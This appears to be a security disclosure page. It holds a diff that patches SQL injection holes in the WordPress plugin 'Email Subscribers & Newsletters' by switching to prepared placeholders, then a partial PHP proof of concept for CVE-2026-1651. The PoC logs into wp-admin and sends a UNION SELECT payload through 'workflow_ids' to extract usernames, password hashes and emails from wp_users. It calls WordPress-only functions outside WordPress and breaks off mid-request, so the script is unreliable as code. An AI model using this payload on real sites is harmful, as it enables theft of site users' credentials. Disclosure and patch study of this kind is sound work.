+			// All campaign types use the same filter logic - subquery to campaigns table
 			if ( ! $add_where_clause ) {
 				$sql .= $wpdb->prepare( ' AND campaign_id IN (SELECT id FROM ' . IG_CAMPAIGNS_TABLE . ' WHERE type = %s)', $campaign_type );
 			} else {
@@ -464,7 +524,7 @@
 				}
 			}

-			if ( ! $do_count_only ) {
+if ( ! $do_count_only ) {

 				// Prepare Order by clause
 				$order = ! empty( $order ) ? strtolower( $order ) : 'desc';
@@ -490,13 +550,22 @@
 			$sql   .= ' OFFSET ' . ( $page_number - 1 ) * $per_page;
 			$result = $wpbd->get_results( $sql, 'ARRAY_A' );

-			// Add campaign type and calculate open/click rates for each notification
 			if ( ! empty( $result ) && is_array( $result ) ) {
+				$campaign_ids = array_column( $result, 'campaign_id' );
+				$campaign_ids = array_filter( array_unique( $campaign_ids ) );
+
+				$all_stats = array();
+				if ( ! empty( $campaign_ids ) ) {
+					$all_stats = ES()->actions_db->get_bulk_campaign_stats(
+						$campaign_ids,
+						array( IG_MESSAGE_SENT, IG_MESSAGE_OPEN, IG_LINK_CLICK, IG_CONTACT_UNSUBSCRIBE )
+					);
+				}
+
 				foreach ( $result as $key => $notification ) {
 					$notification_id = $notification['id'];
 					$campaign_id = isset( $notification['campaign_id'] ) ? $notification['campaign_id'] : 0;

-					// Add campaign type
 					if ( ! empty( $campaign_id ) ) {
 						$notification_type = ES()->campaigns_db->get_campaign_type_by_id( $campaign_id );
 						if ( ! empty( $notification_type ) ) {
@@ -507,27 +576,20 @@
 							$result[ $key ]['type'] = '';
 						}
 					} else {
-						// No campaign_id means it's a Post Notification
 						$result[ $key ]['type'] = __( 'Post Notification', 'email-subscribers' );
 					}

-					// Calculate open/click rates from actions table
-					$actions_args = array(
-						'campaign_id' => $campaign_id,
-						'message_id' => $notification_id,
-						'types' => array(
-							IG_MESSAGE_SENT,
-							IG_MESSAGE_OPEN,
-							IG_LINK_CLICK,
-							IG_CONTACT_UNSUBSCRIBE
-						)
+					$stats = isset( $all_stats[ $campaign_id ] ) ? $all_stats[ $campaign_id ] : array(
+						'sent'         => 0,
+						'opened'       => 0,
+						'clicked'      => 0,
+						'unsubscribed' => 0,
 					);

-					$actions_count = ES()->actions_db->get_actions_count( $actions_args );
-					$total_sent = isset( $actions_count['sent'] ) ? $actions_count['sent'] : 0;
-					$total_opened = isset( $actions_count['opened'] ) ? $actions_count['opened'] : 0;
-					$total_clicked = isset( $actions_count['clicked'] ) ? $actions_count['clicked'] : 0;
-					$total_unsubscribed = isset( $actions_count['unsubscribed'] ) ? $actions_count['unsubscribed'] : 0;
+					$total_sent = $stats['sent'];
+					$total_opened = $stats['opened'];
+					$total_clicked = $stats['clicked'];
+					$total_unsubscribed = $stats['unsubscribed'];

 					$open_rate = ! empty( $total_sent ) ? number_format_i18n( ( ( $total_opened * 100 ) / $total_sent ), 2 ) : 0;
 					$click_rate = ! empty( $total_sent ) ? number_format_i18n( ( ( $total_clicked * 100 ) / $total_sent ), 2 ) : 0;
--- a/email-subscribers/lite/includes/controllers/class-es-settings-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-settings-controller.php
@@ -770,7 +770,7 @@
 			'ig_es_max_email_send_at_once' => get_option( 'ig_es_max_email_send_at_once', ''),
 			'ig_es_mailer_settings' => get_option( 'ig_es_mailer_settings', array() ),
 			'ig_es_ess_email' => $ess_email,
-			'ig_es_ess_branding_enabled' => get_option( 'ig_es_ess_branding_enabled', 'no' ),
+			'ig_es_ess_branding_enabled' => get_option( 'ig_es_ess_branding_enabled', 'yes' ),
 			'ig_es_email_auth_headers' => self::format_email_auth_headers( get_option( 'ig_es_email_auth_headers', array() ) ),
 			// Gmail OAuth validation
 			'ig_es_gmail_valid_credentials' => self::get_gmail_valid_credentials(),
@@ -817,7 +817,7 @@
 		private static function set_default_settings( $options ) {
 			$defaults = array(
 				'ig_es_disable_wp_cron'             => 'no',
-				'ig_es_ess_branding_enabled'        => 'no',
+				'ig_es_ess_branding_enabled'        => 'yes',
 				'ig_es_track_email_opens'           => 'no',
 				'ig_es_enable_ajax_form_submission' => 'no',
 				'ig_es_enable_welcome_email'        => 'no',
@@ -848,7 +848,6 @@
 				'ig_es_from_name',
 				'ig_es_admin_emails',
 				'ig_es_email_type',
-				'ig_es_post_image_size',
 				'ig_es_track_email_opens',
 				'ig_es_enable_ajax_form_submission',
 				'ig_es_enable_welcome_email',
@@ -862,6 +861,9 @@
 				'ig_es_hourly_email_send_limit',
 				'ig_es_disable_wp_cron',
 				'ig_es_allow_api',
+				'ig_es_ess_branding_enabled',
+				'ig_es_delete_plugin_data',
+				'ig_es_allow_tracking',
 			);
 			$textarea_fields = array(
 				'ig_es_unsubscribe_link_content',
@@ -888,7 +890,10 @@

 				$value = stripslashes_deep( $value );

-				if ( in_array( $key, $text_fields, true ) ) {
+				// Special handling for image size - convert display names to slugs
+				if ( 'ig_es_post_image_size' === $key ) {
+					$value = self::convert_image_size_to_slug( $value );
+				} elseif ( in_array( $key, $text_fields, true ) ) {
 					$value = sanitize_text_field( $value );
 				} elseif ( in_array( $key, $textarea_fields, true ) ) {
 					$value = wp_kses_post( $value );
@@ -899,6 +904,47 @@
 				update_option( $key, wp_unslash( $value ), false );
 			}
 		}
+
+		/**
+		 * Convert image size display name to WordPress slug
+		 *
+		 * @param string $value The image size value (could be display name or slug)
+		 * @return string The WordPress image size slug
+		 * @since 5.7.55
+		 */
+		private static function convert_image_size_to_slug( $value ) {
+			// Already a valid slug, return as is
+			$valid_slugs = array( 'thumbnail', 'medium', 'medium_large', 'large', 'full', '1536x1536', '2048x2048' );
+			if ( in_array( $value, $valid_slugs, true ) ) {
+				return $value;
+			}
+
+			// Map display names to slugs for backward compatibility
+			$display_name_map = array(
+				'Thumbnail'     => 'thumbnail',
+				'Medium'        => 'medium',
+				'Medium Size'   => 'medium',
+				'Medium large'  => 'medium_large',
+				'Large'         => 'large',
+				'Full Size'     => 'full',
+				'1536×1536'     => '1536x1536',
+				'2048×2048'     => '2048x2048',
+			);
+
+			if ( isset( $display_name_map[ $value ] ) ) {
+				return $display_name_map[ $value ];
+			}
+
+			// Try to convert any string to a potential slug (lowercase, replace spaces/special chars with underscore)
+			$slug = strtolower( str_replace( array( ' ', '×', '-' ), array( '_', 'x', '_' ), $value ) );
+			$slug = preg_replace( '/[^a-z0-9_x]/', '', $slug );
+
+			if ( ! in_array( $slug, $valid_slugs, true ) ) {
+				$slug = 'thumbnail';
+			}
+
+			return $slug;
+		}

 		public static function get_registered_settings() {

--- a/email-subscribers/lite/includes/db/class-es-db-actions.php
+++ b/email-subscribers/lite/includes/db/class-es-db-actions.php
@@ -518,6 +518,78 @@

 		return $results;
 	}
+
+	public function get_bulk_campaign_stats( $campaign_ids, $types = array() ) {
+		global $wpdb;
+
+		if ( empty( $campaign_ids ) ) {
+			return array();
+		}
+
+		$campaign_ids = array_map( 'absint', $campaign_ids );
+		$campaign_ids = array_filter( $campaign_ids );
+
+		if ( empty( $campaign_ids ) ) {
+			return array();
+		}
+
+		$placeholders = implode( ',', array_fill( 0, count( $campaign_ids ), '%d' ) );
+
+		$query = "SELECT campaign_id, type, COUNT(DISTINCT contact_id) as total
+			FROM {$wpdb->prefix}ig_actions
+			WHERE campaign_id IN ($placeholders)";
+
+		if ( ! empty( $types ) ) {
+			$type_placeholders = implode( ',', array_fill( 0, count( $types ), '%d' ) );
+			$query .= " AND type IN ($type_placeholders)";
+			$query_params = array_merge( $campaign_ids, $types );
+		} else {
+			$query_params = $campaign_ids;
+		}
+
+		$query .= " GROUP BY campaign_id, type";
+
+		$results = $wpdb->get_results( $wpdb->prepare( $query, $query_params ), ARRAY_A );
+
+		$stats = array();
+		foreach ( $campaign_ids as $cid ) {
+			$stats[ $cid ] = array(
+				'sent'         => 0,
+				'opened'       => 0,
+				'clicked'      => 0,
+				'unsubscribed' => 0,
+			);
+		}
+
+		if ( ! empty( $results ) ) {
+			foreach ( $results as $row ) {
+				$campaign_id = (int) $row['campaign_id'];
+				$type = (int) $row['type'];
+				$count = (int) $row['total'];
+
+				if ( ! isset( $stats[ $campaign_id ] ) ) {
+					continue;
+				}
+
+				switch ( $type ) {
+					case IG_MESSAGE_SENT:
+						$stats[ $campaign_id ]['sent'] = $count;
+						break;
+					case IG_MESSAGE_OPEN:
+						$stats[ $campaign_id ]['opened'] = $count;
+						break;
+					case IG_LINK_CLICK:
+						$stats[ $campaign_id ]['clicked'] = $count;
+						break;
+					case IG_CONTACT_UNSUBSCRIBE:
+						$stats[ $campaign_id ]['unsubscribed'] = $count;
+						break;
+				}
+			}
+		}
+
+		return $stats;
+	}

 	/**
 	 * Build WHERE clause for actions queries
--- a/email-subscribers/lite/includes/db/class-es-db-campaigns.php
+++ b/email-subscribers/lite/includes/db/class-es-db-campaigns.php
@@ -898,21 +898,33 @@
 			return $updated;
 		}

-		$id_str       = '';
-		$campaign_ids = esc_sql( $campaign_ids );
-		if ( is_array( $campaign_ids ) && count( $campaign_ids ) > 0 ) {
-			$id_str = implode( ',', $campaign_ids );
-		} elseif ( is_numeric( $campaign_ids ) ) {
-			$id_str = $campaign_ids;
+		$id_str       = '';
+
+		$campaign_ids = array_map( 'absint', (array) $campaign_ids );
+		$campaign_ids = array_filter( $campaign_ids );
+
+		if ( empty( $campaign_ids ) ) {
+		    return $updated;
 		}

+		$id_str = implode( ',', array_fill( 0, count( $campaign_ids ), '%d' ) );
+
 		if ( ! empty( $id_str ) ) {

-			$query = $wpbd->prepare( "UPDATE {$wpbd->prefix}ig_campaigns SET status = %d WHERE id IN({$id_str})", $status );
-			$updated = $wpbd->query( $wpbd->prepare( "UPDATE {$wpbd->prefix}ig_campaigns SET status = %d WHERE id IN({$id_str})", $status ) );
+			$updated = $wpbd->query(
+				$wpbd->prepare(
+					"UPDATE {$wpbd->prefix}ig_campaigns SET status = %d WHERE id IN({$id_str})",
+					array_merge( array( $status ), $campaign_ids )
+				)
+			);

 			// Changing status of child campaigns along with its parent campaign id
-			$wpbd->query( $wpbd->prepare( "UPDATE {$wpbd->prefix}ig_campaigns SET status = %d WHERE parent_id IN({$id_str})", $status ) );
+			$wpbd->query(
+				$wpbd->prepare(
+					"UPDATE {$wpbd->prefix}ig_campaigns SET status = %d WHERE parent_id IN({$id_str})",
+					array_merge( array( $status ), $campaign_ids )
+				)
+			);
 		}

 		if ( $updated ) {
--- a/email-subscribers/lite/includes/db/class-es-db-contacts.php
+++ b/email-subscribers/lite/includes/db/class-es-db-contacts.php
@@ -358,15 +358,22 @@

 		global $wpdb;

-		// Check if we have got array of list ids.
+		// Sanitize and prepare list IDs for safe SQL query
 		if ( is_array( $list_id ) ) {
-			$list_ids_str = implode( ',', $list_id );
+			$list_id = array_map( 'absint', $list_id );
+			$placeholders = implode( ',', array_fill( 0, count( $list_id ), '%d' ) );
+			$where = $wpdb->prepare(
+				"id IN (SELECT contact_id FROM {$wpdb->prefix}ig_lists_contacts WHERE list_id IN({$placeholders}) AND status IN ('subscribed', 'confirmed'))",
+				$list_id
+			);
 		} else {
-			$list_ids_str = $list_id;
+			$list_id = absint( $list_id );
+			$where = $wpdb->prepare(
+				"id IN (SELECT contact_id FROM {$wpdb->prefix}ig_lists_contacts WHERE list_id = %d AND status IN ('subscribed', 'confirmed'))",
+				$list_id
+			);
 		}

-		$where = "id IN (SELECT contact_id FROM {$wpdb->prefix}ig_lists_contacts WHERE list_id IN({$list_ids_str}) AND status IN ('subscribed', 'confirmed'))";
-
 		return $this->get_by_conditions( $where );

 	}
@@ -508,14 +515,23 @@
 	 * @since 4.3.4 Use prepare_for_in_query instead of array_to_str
 	 */
 	public function edit_contact_global_status( $ids = array(), $unsubscribed = 0 ) {
-		global $wpbd;
+		global $wpdb;

-		$ids_str = implode( ',', array_map( 'absint', $ids ) );
+		// Validate IDs array is not empty
+		if ( empty( $ids ) || ! is_array( $ids ) ) {
+			return false;
+		}

-		return $wpbd->query(
-			$wpbd->prepare(
-				"UPDATE {$wpbd->prefix}ig_contacts SET unsubscribed = %d WHERE id IN({$ids_str})",
-				$unsubscribed
+		// Sanitize IDs and prepare placeholders for safe SQL query
+		$ids = array_map( 'absint', $ids );
+		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+		$unsubscribed = absint( $unsubscribed );
+		$query_params = array_merge( array( $unsubscribed ), $ids );
+
+		return $wpdb->query(
+			$wpdb->prepare(
+				"UPDATE {$wpdb->prefix}ig_contacts SET unsubscribed = %d WHERE id IN( {$placeholders} )",
+				$query_params
 			)
 		);
 	}
@@ -532,7 +548,7 @@
 	 * @since 4.3.4 Used prepare_for_in_query instead of array_to_str
 	 */
 	public function is_contact_exist_in_list( $email, $list_id ) {
-		global $wpbd;
+		global $wpdb;

 		// Flush cache to ensure we have latest results.
 		ES_Cache::flush();
@@ -543,16 +559,20 @@
 		if ( ! empty( $contact_id ) ) {
 			$data['contact_id'] = $contact_id;

+			// Ensure list_id is array and sanitize
 			if ( ! is_array( $list_id ) ) {
 				$list_id = array( $list_id );
 			}
+			$list_id = array_map( 'absint', $list_id );
+			$placeholders = implode( ',', array_fill( 0, count( $list_id ), '%d' ) );

-			$list_ids_str = implode( ',', $list_id );
+			// Merge parameters: all list IDs first, then contact_id
+			$query_params = array_merge( $list_id, array( absint( $contact_id ) ) );

-			$list_contact_count = $wpbd->get_var(
-				$wpbd->prepare(
-					"SELECT count(*) as count FROM {$wpbd->prefix}ig_lists_contacts WHERE list_id IN ($list_ids_str) AND contact_id = %d",
-					$contact_id
+			$list_contact_count = $wpdb->get_var(
+				$wpdb->prepare(
+					"SELECT count(*) as count FROM {$wpdb->prefix}ig_lists_contacts WHERE list_id IN ($placeholders) AND contact_id = %d",
+					$query_params
 				)
 			);

@@ -904,14 +924,14 @@
 	 * @since 4.4.2
 	 */
 	public function get_total_subscribed_contacts_by_date( $days = 60 ) {
-		global $wpbd;
+		global $wpdb;

 		$columns = array( 'DATE(created_at) as date', 'count(DISTINCT(id)) as total' );
 		$where   = 'unsubscribed = %d';
-		$args[]  = 0;
+		$args    = array( 0 );

 		if ( 0 != $days ) {
-			$days   = esc_sql( $days );
+			$days   = absint( $days );
 			$where .= ' AND created_at >= DATE_SUB(NOW(), INTERVAL %d DAY)';
 			$args[] = $days;
 		}
@@ -920,7 +940,7 @@

 		$where .= $group_by;

-		$where = $wpbd->prepare( $where, $args );
+		$where = $wpdb->prepare( $where, $args );

 		$results = $this->get_columns_by_condition( $columns, $where );

@@ -944,19 +964,19 @@
 	 * @since 4.4.2
 	 */
 	public function get_total_subscribed_contacts_before_days( $days = 60 ) {
-		global $wpbd;
+		global $wpdb;

 		$columns = array( 'count(DISTINCT(id)) as total' );
 		$where   = 'unsubscribed = %d';
-		$args[]  = 0;
+		$args    = array( 0 );

 		if ( 0 != $days ) {
-			$days   = esc_sql( $days );
+			$days   = absint( $days );
 			$where .= ' AND created_at < DATE_SUB(NOW(), INTERVAL %d DAY)';
 			$args[] = $days;
 		}

-		$where = $wpbd->prepare( $where, $args );
+		$where = $wpdb->prepare( $where, $args );

 		$results = $this->get_columns_by_condition( $columns, $where );

@@ -976,20 +996,20 @@
 	 * @since 4.4.2
 	 */
 	public function get_total_subscribed_contacts_between_days( $days = 60 ) {
-		global $wpbd;
+		global $wpdb;

 		$columns = array( 'count(DISTINCT(id)) as total' );
 		$where   = 'unsubscribed = %d';
-		$args[]  = 0;
+		$args    = array( 0 );

 		if ( 0 != $days ) {
-			$days   = esc_sql( $days );
+			$days   = absint( $days );
 			$where .= ' AND created_at > DATE_SUB(NOW(), INTERVAL %d DAY) AND created_at < DATE_SUB(NOW(), INTERVAL %d DAY) ';
 			$args[] = $days * 2;
 			$args[] = $days;
 		}

-		$where = $wpbd->prepare( $where, $args );
+		$where = $wpdb->prepare( $where, $args );

 		$results = $this->get_columns_by_condition( $columns, $where );

@@ -1030,6 +1050,32 @@

 	}

+	public function get_subscriber_counts_by_form_ids( $form_ids = array() ) {
+		global $wpdb;
+
+		if ( empty( $form_ids ) || ! is_array( $form_ids ) ) {
+			return array();
+		}
+
+		$form_ids = array_map( 'intval', $form_ids );
+		$placeholders = implode( ',', array_fill( 0, count( $form_ids ), '%d' ) );
+
+		$results = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT form_id, COUNT(DISTINCT id) as total FROM {$wpdb->prefix}ig_contacts WHERE form_id IN ($placeholders) AND unsubscribed = 0 GROUP BY form_id",
+				$form_ids
+			),
+			ARRAY_A
+		);
+
+		$counts = array();
+		foreach ( $results as $row ) {
+			$counts[ $row['form_id'] ] = intval( $row['total'] );
+		}
+
+		return $counts;
+	}
+
 	/**
 	 * Migrate Ip address of subscribers from lists_contacts to contacts table
 	 *
@@ -1411,7 +1457,7 @@
 		if ( ES_Cache::is_exists( $cache_key, 'query' ) ) {
 			return ES_Cache::get( $cache_key, 'query' );
 		}
-
+
 		$sql          = "SELECT COUNT(DISTINCT c.id) FROM {$this->table_name} c";
 		$where_clause = '';

@@ -1504,6 +1550,26 @@
 					$where_conditions[] = $wpdb->prepare( "{$field} LIKE %s", '%' . $value . '%' );
 					break;

+				case 'does_not_contain':
+					$where_conditions[] = $wpdb->prepare( "{$field} NOT LIKE %s", '%' . $value . '%' );
+					break;
+
+				case 'starts_with':
+					$where_conditions[] = $wpdb->prepare( "{$field} LIKE %s", $value . '%' );
+					break;
+
+				case 'ends_with':
+					$where_conditions[] = $wpdb->prepare( "{$field} LIKE %s", '%' . $value );
+					break;
+
+				case 'is_greater_than':
+					$where_conditions[] = $wpdb->prepare( "{$field} > %s", $value );
+					break;
+
+				case 'is_less_than':
+					$where_conditions[] = $wpdb->prepare( "{$field} < %s", $value );
+					break;
+
 				case 'in':
 					if ( is_array( $value ) ) {
 						$placeholders = implode( ',', array_fill( 0, count( $value ), '%s' ) );
@@ -1514,13 +1580,13 @@
 		}

 		if ( empty( $where_conditions ) ) {
- 			return array();
+			return array();
 		}

 		// Preserve controller behavior: combine conditions using OR
 		$where_sql = implode( ' OR ', $where_conditions );
 		$sql = "SELECT id FROM {$contacts_table} WHERE {$where_sql}";
-
+
 		$results = $wpdb->get_col( $sql );

 		return $results ? array_map( 'intval', $results ) : array();
--- a/email-subscribers/lite/includes/db/class-es-db-lists-contacts.php
+++ b/email-subscribers/lite/includes/db/class-es-db-lists-contacts.php
@@ -324,53 +324,109 @@
 	 */
 	public function update_contact_lists( $contact_id = 0, $lists = array() ) {

-		if ( empty( $contact_id ) || empty( $lists ) ) {
+		if ( empty( $contact_id ) ) {
 			return false;
 		}

-		$contact_id = esc_sql( $contact_id );
-		$lists      = esc_sql( $lists );
+		$contact_id = absint( $contact_id );

-		if ( ! empty( $lists ) ) {
-
-			$optin_type_option = get_option( 'ig_es_optin_type', true );
+		$existing_lists = $this->get_list_statuses_by_contact_id( $contact_id );
+		$existing_map = array();
+		foreach ( $existing_lists as $existing ) {
+			$existing_map[ intval( $existing['list_id'] ) ] = $existing;
+		}

-			$optin_type = 1;
-			if ( in_array( $optin_type_option, array( 'double_opt_in', 'double_optin' ) ) ) {
-				$optin_type = 2;
+		// If lists is empty, contact is removed from all lists
+		if ( empty( $lists ) ) {
+			$this->remove_contacts_from_lists( $contact_id );
+			ES()->contacts_db->invalidate_query_cache();
+			return true;
+		}
+
+		// Sanitize and validate lists input
+		$sanitized_lists = array();
+		foreach ( $lists as $list_id => $status ) {
+			$list_id = absint( $list_id );
+			$status = sanitize_text_field( $status );
+			if ( $list_id > 0 && ! empty( $status ) ) {
+				$sanitized_lists[ $list_id ] = $status;
 			}
+		}
+
+		// Determine which lists to remove
+		$new_list_ids = array_keys( $sanitized_lists );
+		$existing_list_ids = array_keys( $existing_map );
+		$lists_to_remove = array_diff( $existing_list_ids, $new_list_ids );
+
+		// Remove contact from lists that are no longer assigned
+		if ( ! empty( $lists_to_remove ) ) {
+			$this->remove_contacts_from_lists( $contact_id, $lists_to_remove );
+		}

-			// Remove from all lists
-			$this->remove_contacts_from_lists( $contact_id );
+		$optin_type_option = get_option( 'ig_es_optin_type', true );

-			$data = array();
-			$key  = 0;
-			$list_ids_to_clear = array();
-			foreach ( $lists as $list_id => $status ) {
-				if ( ! empty( $status ) ) {
-					$data[ $key ]['list_id']       = $list_id;
-					$data[ $key ]['contact_id']    = $contact_id;
-					$data[ $key ]['status']        = $status;
-					$data[ $key ]['optin_type']    = $optin_type;
-					$data[ $key ]['subscribed_at'] = ig_get_current_date_time();
+		$optin_type = 1;
+		if ( in_array( $optin_type_option, array( 'double_opt_in', 'double_optin' ) ) ) {
+			$optin_type = 2;
+		}

-					$list_ids_to_clear[] = $list_id;
-					$key ++;
+		$data = array();
+		$key  = 0;
+		$list_ids_to_clear = array();
+
+		foreach ( $sanitized_lists as $list_id => $status ) {
+			// Check if contact already exists in this list
+			if ( isset( $existing_map[ $list_id ] ) ) {
+				// Update existing entry - preserve subscribed_at to prevent sequence resending
+				global $wpdb;
+				$update_data = array(
+					'status' => $status,
+					'optin_type' => $optin_type,
+				);
+
+				$update_formats = array( '%s', '%d' );
+
+				// Only update subscribed_at if status is changing TO subscribed from another status
+				if ( 'subscribed' === $status && 'subscribed' !== $existing_map[ $list_id ]['status'] ) {
+					$update_data['subscribed_at'] = ig_get_current_date_time();
+					$update_formats[] = '%s';
 				}
+
+				$wpdb->update(
+					$this->table_name,
+					$update_data,
+					array(
+						'contact_id' => $contact_id,
+						'list_id' => $list_id,
+					),
+					$update_formats,
+					array( '%d', '%d' )
+				);
+			} else {
+				// New entry - insert with current timestamp
+				$data[ $key ]['list_id']       = $list_id;
+				$data[ $key ]['contact_id']    = $contact_id;
+				$data[ $key ]['status']        = $status;
+				$data[ $key ]['optin_type']    = $optin_type;
+				$data[ $key ]['subscribed_at'] = ig_get_current_date_time();
+				$key ++;
 			}

-			$result = ES()->lists_contacts_db->bulk_insert( $data );
+			$list_ids_to_clear[] = $list_id;
+		}

-			if ( ! empty( $list_ids_to_clear ) ) {
-				$this->clear_list_counts_cache( $list_ids_to_clear );
-			}
-
-			ES()->contacts_db->invalidate_query_cache();
+		$result = true;
+		if ( ! empty( $data ) ) {
+			$result = ES()->lists_contacts_db->bulk_insert( $data );
+		}

-			return $result;
+		if ( ! empty( $list_ids_to_clear ) ) {
+			$this->clear_list_counts_cache( $list_ids_to_clear );
 		}
+
+		ES()->contacts_db->invalidate_query_cache();

-		return false;
+		return $result;

 	}

@@ -1087,7 +1143,7 @@

 		$contact_id = intval( $contact_id );

-		$sql = "SELECT lc.list_id, l.name as list_name, lc.status
+		$sql = "SELECT lc.list_id, l.name as list_name, lc.status, lc.subscribed_at, lc.optin_type
 				FROM {$this->table_name} lc
 				LEFT JOIN " . IG_LISTS_TABLE . " l ON lc.list_id = l.id
 				WHERE lc.contact_id = %d";
@@ -1361,6 +1417,66 @@
 		$prepared_sql = call_user_func_array( array( $wpdb, 'prepare' ), $params );
 		$ids = $wpdb->get_col( $prepared_sql );

+		$result = array_values( array_map( 'intval', array_filter( (array) $ids, 'is_numeric' ) ) );
+
+		ES_Cache::set( $cache_key, $result, 'query' );
+
+		return $result;
+	}
+
+	/**
+	 * Get contact IDs by list with operator support
+	 *
+	 * @param array $list_values List IDs to filter by
+	 * @param string $operator Operator to apply ('is equal to', 'is not equal to', etc.)
+	 * @return array Contact IDs
+	 *
+	 * @since 5.9.15
+	 */
+	public function get_contact_ids_by_list_operator( $list_values = array(), $operator = 'is equal to' ) {
+		global $wpdb;
+
+		if ( empty( $list_values ) ) {
+			return array();
+		}
+
+		$cache_key = ES_Cache::generate_key( 'contact_ids_by_list_op_' . md5( serialize( array( $list_values, $operator ) ) ) );
+
+		if ( ES_Cache::is_exists( $cache_key, 'query' ) ) {
+			return ES_Cache::get( $cache_key, 'query' );
+		}
+
+		$list_values = array_map( 'intval', $list_values );
+		$list_count = count( $list_values );
+
+		$sql = "SELECT DISTINCT contact_id FROM {$this->table_name} WHERE 1=1";
+
+		switch ( $operator ) {
+			case 'is equal to':
+			case 'contains':
+				// Contact is in any of these lists
+				$placeholders = implode( ', ', array_fill( 0, $list_count, '%d' ) );
+				$sql .= " AND list_id IN ($placeholders)";
+				break;
+
+			case 'is not equal to':
+			case 'does not contain':
+				// Contact is NOT in any of these lists
+				$placeholders = implode( ', ', array_fill( 0, $list_count, '%d' ) );
+				$sql .= " AND list_id NOT IN ($placeholders)";
+				break;
+
+			default:
+				// Default to 'is equal to'
+				$placeholders = implode( ', ', array_fill( 0, $list_count, '%d' ) );
+				$sql .= " AND list_id IN ($placeholders)";
+				break;
+		}
+
+		$params = array_merge( array( $sql ), $list_values );
+		$prepared_sql = call_user_func_array( array( $wpdb, 'prepare' ), $params );
+		$ids = $wpdb->get_col( $prepared_sql );
+
 		$result = array_values( array_map( 'intval', array_filter( (array) $ids, 'is_numeric' ) ) );

 		ES_Cache::set( $cache_key, $result, 'query' );
--- a/email-subscribers/lite/includes/db/class-es-db-lists.php
+++ b/email-subscribers/lite/includes/db/class-es-db-lists.php
@@ -92,8 +92,32 @@
 	 *
 	 * @since 4.0.0
 	 */
-	public function get_lists() {
-		return $this->get_all();
+	public function get_lists( $args = array() ) {
+		if ( empty( $args ) ) {
+			return $this->get_all();
+		}
+
+		$allowed_columns = array( 'id', 'name', 'created_at', 'updated_at', 'slug', 'status' );
+		$order_by = ! empty( $args['order_by'] ) ? esc_sql( $args['order_by'] ) : 'id';
+
+		if ( ! in_array( $order_by, $allowed_columns, true ) ) {
+			$order_by = 'id';
+		}
+
+		$order = ! empty( $args['order'] ) ? esc_sql( strtoupper( $args['order'] ) ) : 'ASC';
+
+		if ( ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) {
+			$order = 'ASC';
+		}
+
+		global $wpdb;
+		$query = "SELECT * FROM {$this->table_name} ORDER BY {$order_by} {$order}";
+
+		if ( ! empty( $args['limit'] ) ) {
+			$query .= $wpdb->prepare( ' LIMIT %d', intval( $args['limit'] ) );
+		}
+
+		return $wpdb->get_results( $query, ARRAY_A );
 	}

 	/**
--- a/email-subscribers/lite/includes/workflows/db/class-es-db-workflows.php
+++ b/email-subscribers/lite/includes/workflows/db/class-es-db-workflows.php
@@ -117,6 +117,11 @@
 	 *
 	 * @since 4.4.1
 	 */
+	public function get_workflows_count() {
+		global $wpdb;
+		return (int) $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->prefix}ig_workflows" );
+	}
+
 	public function get_workflows( $query_args = array(), $output = ARRAY_A, $do_count_only = false ) {

 		global $wpdb, $wpbd;
@@ -365,6 +370,13 @@
 			return $updated;
 		}

+		if ( is_array( $workflow_ids ) ) {
+			$workflow_ids = array_map( 'absint', $workflow_ids );
+			$workflow_ids = array_filter( $workflow_ids );
+
+		} else {
+			$workflow_ids = absint( $workflow_ids );
+		}
 		$workflow_ids = esc_sql( $workflow_ids );

 		// Variable to hold workflow ids seperated by commas.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1651 - Email Subscribers & Newsletters <= 5.9.16 - Authenticated (Administrator+) SQL Injection via 'workflow_ids' Parameter

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate to WordPress
function wp_login($url, $username, $password) {
    $login_data = array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => admin_url(),
        'testcookie' => 1
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, str_replace('/admin-ajax.php', '/wp-login.php', $url));
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return file_exists('cookies.txt');
}

// Step 2: Exploit SQL injection via workflow_ids parameter
function exploit_sqli($url) {
    $payload = "1' UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE 1=1--";
    
    $post_data = array(
        'action' => 'es_trigger_workflow',
        'workflow_ids' => $payload,
        'security' => wp_create_nonce('es_trigger_workflow')
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
